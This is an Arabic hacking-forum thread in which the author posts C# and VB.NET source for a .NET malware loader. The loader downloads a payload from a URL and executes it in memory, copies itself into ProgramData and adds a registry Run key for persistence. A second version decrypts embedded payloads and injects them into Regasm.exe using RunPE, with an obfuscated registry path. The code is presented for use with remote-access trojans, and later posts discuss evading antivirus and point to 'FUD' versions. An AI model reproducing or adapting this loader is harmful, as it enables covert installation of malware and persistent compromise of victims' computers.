مثال بسيط لـ Loader \ Downloader عن طريق رابط

تم تحميل الصفحة في 0,2441753 ثانية
مثال بسيط لـ Loader \ Downloader عن طريق رابط
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
792
النقاط
113



أحببت أن أشاركم بمشروع بسيط قديم وسهل في قراءته وكتابته

عبارة عن حاضن أو داونلودر بسيط بلغة #C و VB.NET

يستهدف ملفات dotNET Framework فقط

كنت أكتبه من باب تعلم التعامل مع Reflection فيما مضى

تم تجربة الكود مع Quasar و Lime




C#:
// By NYAN CAT

public class Program
{
    public static void Main()
    {
        Installer(System.Environment.SpecialFolder.CommonApplicationData, "Loader.exe");
        Load("http://127.0.0.1:80/Payload.exe");
    }

    private static void Load(string Loader)
    {
        System.Reflection.Assembly Assembly = System.Threading.Thread.GetDomain().Load(Download(Loader));
        System.Reflection.MethodInfo Entrypoint = Assembly.EntryPoint;

        if (Entrypoint.GetParameters().Length > 0)
            Entrypoint.Invoke(null, new object[] { null });
        else
            Entrypoint.Invoke(null, null);
    }

    private static void Installer(System.Environment.SpecialFolder Path, string Name)
    {
        if (System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName != System.IO.Path.Combine(System.Environment.GetFolderPath(Path), Name))
        {
            try
            {
                System.IO.File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, System.IO.Path.Combine(System.Environment.GetFolderPath(Path), Name), true);
            }
            catch (System.Exception)
            {
            }
        }
    }

    private static byte[] Download(string URL)
    {
        using (System.Net.WebClient WC = new System.Net.WebClient())
        {
            re:

            try
            {             
                byte[] B = WC.DownloadData(URL);
                WC.Dispose();
                return B;
            }
            catch (System.Exception)
            {
                System.Threading.Thread.Sleep(5000);
                goto re;
            }
        }
    }
}




كود:
'By NYAN CAT

Public Class Program


    Public Shared Sub Main()
        Installer("26", "Loader.exe")
        Load("http://127.0.0.1:80/Payload.exe")
    End Sub

    Private Shared Sub Load(ByVal Loader As String)

        Dim Assembly As Reflection.Assembly = Threading.Thread.GetDomain.Load(Download(Loader))
        Dim Entrypoint As Reflection.MethodInfo = Assembly.EntryPoint

        If Entrypoint.GetParameters().Length > 0 Then
            Entrypoint.Invoke(Nothing, New Object() {Nothing})
        Else
            Entrypoint.Invoke(Nothing, Nothing)
        End If

    End Sub

    Private Shared Sub Installer(ByVal Path As String, ByVal Name As String)
        If Diagnostics.Process.GetCurrentProcess.MainModule.FileName <> IO.Path.Combine(Environment.GetFolderPath(Path), Name) Then

            Try
                IO.File.Copy(Diagnostics.Process.GetCurrentProcess.MainModule.FileName, IO.Path.Combine(Environment.GetFolderPath(Path), Name), True)
            Catch ex As Exception
            End Try

        End If
    End Sub

    Private Shared Function Download(ByVal URL As String) As Byte()
        Using WC As New Net.WebClient

            Try
re:
                Dim B As Byte() = WC.DownloadData(URL)
                WC.Dispose()
                Return B
            Catch ex As Exception
                Threading.Thread.Sleep(5000)
                GoTo re
            End Try

        End Using
    End Function

End Class
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
792
النقاط
113
المعذرة يبدو أني نسيت إضافة التثبيت.


C#:
    private static void Installer(System.Environment.SpecialFolder Path, string Name)
    {
        if (System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName != System.IO.Path.Combine(System.Environment.GetFolderPath(Path), Name))
        {
            try
            {
                System.IO.File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, System.IO.Path.Combine(System.Environment.GetFolderPath(Path), Name), true);
                Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Name, System.IO.Path.Combine(Environment.GetFolderPath(Path), Name));
            }
            catch (System.Exception)
            {
            }
        }
    }



كود:
    Private Shared Sub Installer(ByVal Path As String, ByVal Name As String)
        If Diagnostics.Process.GetCurrentProcess.MainModule.FileName <> IO.Path.Combine(Environment.GetFolderPath(Path), Name) Then

            Try
                IO.File.Copy(Diagnostics.Process.GetCurrentProcess.MainModule.FileName, IO.Path.Combine(Environment.GetFolderPath(Path), Name), True)
                Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Name, IO.Path.Combine(Environment.GetFolderPath(Path), Name))
            Catch ex As Exception
            End Try


        End If
    End Sub
 
إنضم
5 أغسطس 2011
المشاركات
3,173
الإعجابات
3,659
النقاط
123
الإقامة
][ الـمـمـلـكه الـعـربـيه الـسـعـوديـه ][
يا سبحان الله دوبني افر فالـRepo حقتك ولقيته Malware Loader

فكرته ممتازه و الواحد يقدر يستخدمه لتصغير حجم سيرفرات برامج الاختراق

بالتوفيق لك :42:
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
792
النقاط
113
يا سبحان الله دوبني افر فالـRepo حقتك ولقيته Malware Loader

فكرته ممتازه و الواحد يقدر يستخدمه لتصغير حجم سيرفرات برامج الاختراق

بالتوفيق لك :42:
شكراً على مرورك ودعمك أخي العزيز

في Repo ستجد أن هناك أكثر من Commits

وهذا أحد الأكواد القديمة في نفس الـ Repo سأشاركها بما أن الكود يصب في نفس الموضوع

الفرق هنا أنه يتم استدعاء الملف من ريسورس بدلاً من الرابط

كود:
Imports System.IO
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Security.Cryptography
Imports System.Windows.Forms
Imports System.Threading


'------------------------------------------
'Simple .NET loader | Nyan Cat 8/13/2018
'
'[1] Sleep
'[2] Drop Payload
'[3] Extract IMG1 which contain RunPE method , Extract IMG2 which contain Payload
'[4] Run RunPE method
'
'github.com/NYAN-x-CAT
'------------------------------------------

Public Class Main_
    Public Shared Count As Integer = 0
    Public Shared Sub Main()
        If Sleeping() Then
            Drop_.Install()
            RunPE_.Run(Resources_.LoadFile("IMG1"), Resources_.LoadFile("IMG2"), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "Regasm.exe"))
        End If
    End Sub

    Private Shared Function Sleeping() As Boolean
        Do Until Count = 5
            Thread.Sleep(1000)
            Count += 1
        Loop
        Return True
    End Function
End Class

Public Class Drop_
    Public Shared EXE_ As String = "Payload.exe"
    Public Shared Path_ As String = Path.Combine(Environment.GetFolderPath(35), EXE_) 'C:\ProgramData

    Public Shared Sub Install()
        Try
            If Path_ <> Application.ExecutablePath Then
                IO.File.Copy(Application.ExecutablePath, Path_, True)
                Microsoft.Win32.Registry.CurrentUser.CreateSubKey(StrReverse("\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS")).SetValue(EXE_, Path_)
                Diagnostics.Process.Start(Path_)
                Environment.Exit(0)
            End If
        Catch : End Try
    End Sub
End Class

Public Class Resources_
    Public Shared Function LoadFile(ByVal GetObject As String) As Byte()
        Dim MyAssembly As Assembly = Assembly.GetExecutingAssembly()
        Dim MyResource As New Resources.ResourceManager("Lime_Loader.resources", MyAssembly)
        Return Compression_.GZip_(Cryptography_.AESDecrypt_(MyResource.GetObject(GetObject), "123"))
    End Function
End Class

Public Class RunPE_
    Public Shared Sub Run(ByVal DLL As Byte(), ByVal Payload As Byte(), ByVal Injection As String)
        Dim ASM_ As Assembly = Assembly.Load(DLL)
        Dim Type_ As Type = ASM_.GetType("ClassLibrary2.Class1") 'RunPeNameSpaceRoot.ClassName [for my case is ClassLibrary2.Class1]
        Dim Method_ As MethodInfo = Type_.GetMethod("Run", BindingFlags.Public Or BindingFlags.Static) 'Method
        Dim Object_ As Object = Activator.CreateInstance(Type_)
        Method_.Invoke(Object_, New Object() {Injection, Nothing, Payload, True})
    End Sub
End Class

Public Class Cryptography_
    Public Shared Function AESDecrypt_(ByVal File As Byte(), ByVal Pass As String) As Byte()
        Dim AES As System.Security.Cryptography.RijndaelManaged = New System.Security.Cryptography.RijndaelManaged()
        Dim hash As Byte() = New Byte(31) {}
        Dim temp As Byte() = New MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.ASCII.GetBytes(Pass))
        Array.Copy(temp, 0, hash, 0, 16)
        Array.Copy(temp, 0, hash, 15, 16)
        AES.Key = hash
        AES.Mode = System.Security.Cryptography.CipherMode.ECB
        Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor()
        Return DESDecrypter.TransformFinalBlock(File, 0, File.Length)
    End Function
End Class

Public Class Compression_
    Public Shared Function GZip_(ByVal B As Byte()) As Byte()
        Dim MS As New IO.MemoryStream(B)
        Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Decompress)
        Dim buffer As Byte() = New Byte(4 - 1) {}
        MS.Position = (MS.Length - 5)
        MS.Read(buffer, 0, 4)
        Dim count As Integer = BitConverter.ToInt32(buffer, 0)
        MS.Position = 0
        Dim array As Byte() = New Byte(((count - 1) + 1) - 1) {}
        Ziped.Read(array, 0, count)
        Ziped.Dispose()
        MS.Dispose()
        Return array
    End Function
End Class


'Public Shared Function AESEncrypt(ByVal input As Byte(), ByVal Pass As String) As Byte()
'    Dim AES As RijndaelManaged = New RijndaelManaged()
'    Dim hash As Byte() = New Byte(31) {}
'    Dim temp As Byte() = New MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass))
'    Array.Copy(temp, 0, hash, 0, 16)
'    Array.Copy(temp, 0, hash, 15, 16)
'    AES.Key = hash
'    AES.Mode = CipherMode.ECB
'    Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor()
'    Return DESEncrypter.TransformFinalBlock(input, 0, input.Length)
'End Function

'Public Function GZip(ByVal B As Byte()) As Byte()
'    Dim MS As New IO.MemoryStream
'    Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Compress, True)
'    Ziped.Write(B, 0, B.Length)
'    Ziped.Dispose()
'    MS.Position = 0
'    Dim buffer As Byte() = New Byte((CInt(MS.Length) + 1) - 1) {}
'    MS.Read(buffer, 0, buffer.Length)
'    MS.Dispose()
'    Return buffer
'End Function
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
792
النقاط
113
شكرا
هل تقنصه برامج الحمايه ؟
الكود بسبب إنتشاره سيكون مكشوف من أغلب الحمايات ولكن أنا لم أطرح الكود ليكون مشفر بل طرحت الفكرة فقط

عموماً الكود غالباً سيكون مشكوف بسبب ميثد Installer ، حاول تغييرها بأسلوبك الخاص. قد ينفعك هذا الموضوع --->> مشروع Crypter بسيط للتشفير
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
792
النقاط
113
السلام عليكم

بدلاً من إنشاء موضوع جديد أحببت أن أضيف هنا مشروع بسيط آخر للأعضاء الذين يريدون داونلودر FUD

أتمنى أن أرى مواضيع متعلقه في الداونلودر وللودرات لأنها تستهويني كثيراً

الكود جداً بسيط لو تقرأ سطر سطر ستفهم كل شيء إن شاء الله

فيديو رن تايم


رابط الكود : [VB.NET] LimeLoader [4] - Pastebin.com
رابط الفحص : Scan results
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل